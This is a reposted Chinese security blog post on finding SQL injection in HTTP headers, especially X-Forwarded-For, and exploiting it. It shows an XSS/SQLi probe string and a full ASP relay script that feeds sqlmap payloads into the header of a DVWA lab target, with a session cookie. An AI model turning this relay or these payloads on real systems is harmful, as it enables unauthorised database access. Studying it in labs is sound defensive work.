IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    HTTP头部注入的发现和工具化利用

    小残发表于 2016-04-19 19:24:31
    love 0

    HTTP头注入的发现和工具化利用

    目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点,在实际测试过程中,笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想,这里分享下笔者对于HTTP头注入的发现和利用过程,欢迎各位大牛批评指正。

    0x01、HTTP头注入的发现

    推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集,该插件可以自定义HTTP 头信息,截图如下:
    151331V2e

    界面很简单,其中select action下拉单中的三个选项中modify比add优先级高,filter为过滤头字段操作,这里以新增http头字段X-Forwarded- For为例,下图红框中最前面选择add,紧跟着写入X-Forwarded-For,然后输入自定义的数值:我这里输入“x- for’;”>xxoo<!–”(不含引号),配置完成后依次点击save、确定即完成配置。

    151332DI0

    然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点,这里笔者略微改动下dvwa,以配合测试,如图:

    1513326bw

    用配置好的火狐登录dvwa后,点击SQL injection选项,user id随便输入后点击submit,弹出典型的sql注入报错页面如图:

    151332QQS

    实际测试中,我们可以同时定义多个http head字段,然后浏览目标网站,进而发现漏洞,用该配置浏览器上网,常有意外收获,这里贴一张实测截图:

    151332pdJ

    0x02、HTTP头SQL注入的工具化利用

    漏洞发现了,下面讲讲利用。
    多数注入工具仅能覆盖http头中的cookie、user-agent等字段,对于X-Forwarded-For 等部分字段并不能全面覆盖。
    对于X-Forwarded-For sql注入,网上多是通过抓包增加“X-Forwarded-For :*”内容,然后利用Sqlmap –r 方式对其注入,笔者曾使用sqlmap1.0,同时测试变更level参数等操作,最终并未成功利用,这里还望实验成功的大牛指点。
    下面笔者介绍一个利用中转注入实现工具化利用的方法。 在中转注入代码中添加头字段”X-Forwarded-For”并赋值,值得注意的是这里不需要url编码和空格替换,代码略作修改后如下:

    <span class="pln"> </span><span class="pun">&lt;%</span><span class="pln">
    </span><span class="pun">‘</span><span class="pln">
    sqlStr</span><span class="pun">=</span><span class="pln">request</span><span class="pun">(</span><span class="str">"g"</span><span class="pun">)</span><span class="pln">
    </span><span class="str">'存在注入点的文件
    actionUrl="http://192.168.184.137/dvwa/vulnerabilities/sqli/?id=&amp;Submit=Submit"
    '</span><span class="pun">来源</span><span class="pln">URL
    refUrl</span><span class="pun">=</span><span class="str">"http://192.168.184.137/dvwa/vulnerabilities/sqli/"</span><span class="pln">
    </span><span class="str">'添加cookie信息,实现过认证注入
    cookieStr="security=low; PHPSESSID=23887004dcb450bd3632e2bab6d30a31"
    '</span><span class="pun">发起</span><span class="pln">HTTP</span><span class="pun">请求</span><span class="pln">
    response</span><span class="pun">.</span><span class="pln">write </span><span class="typ">PostData</span><span class="pun">(</span><span class="pln">actionUrl</span><span class="pun">,</span><span class="pln">sqlStr</span><span class="pun">,</span><span class="pln">cookieStr</span><span class="pun">,</span><span class="pln">refUrl</span><span class="pun">)</span><span class="pln">
     
    </span><span class="str">'构造HTTP头注入数据包
    Function PostData(PostUrl,PostStr,PostCok,PostRef)  
    Dim Http
    Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
    With Http
    .Open "POST",PostUrl,False
    .SetRequestHeader "Content-Length",Len(PostStr)
    .SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
    .SetRequestHeader "Referer",PostRef
    .SetRequestHeader "Cookie",PostCok
    .SetRequestHeader "X-Forwarded-For",PostStr
    .Send "G"
    PostData = .ResponseBody 
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
    End Function
     
    Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = ""
    For I = 1 To LenB(vIn)
    ThisCharCode = AscB(MidB(vIn, I, 1))
    If ThisCharCode &lt; &amp;H80 Then
    strReturn = strReturn &amp; Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn, I + 1, 1))
    strReturn = strReturn &amp; Chr(CLng(ThisCharCode) * &amp;H100 + CInt(NextCharCode))
    I = I + 1
    End If
    Next
    bytes2BSTR = strReturn
    End Function
    </span><span class="pln">%&gt;</span>

    本地搭建后利用sqlmap测试如图:

    :151333XvI

    Wireshake抓包可以看到http 注入包构造成功

    1513331n4

    0x03、写在最后

    一切输入都是“有害”的。web数据交互不仅仅局限于GPC(get/post/cookie),网站从http头中收集用户信息已成主流,这部分信息同样会存在常规的sql注入、xss等安全问题。

    最后,提醒大家有一个字段叫X-UP-Calling-Line-ID。

    【via@0x87-loudong360】



沪ICP备19023445号-2号
友情链接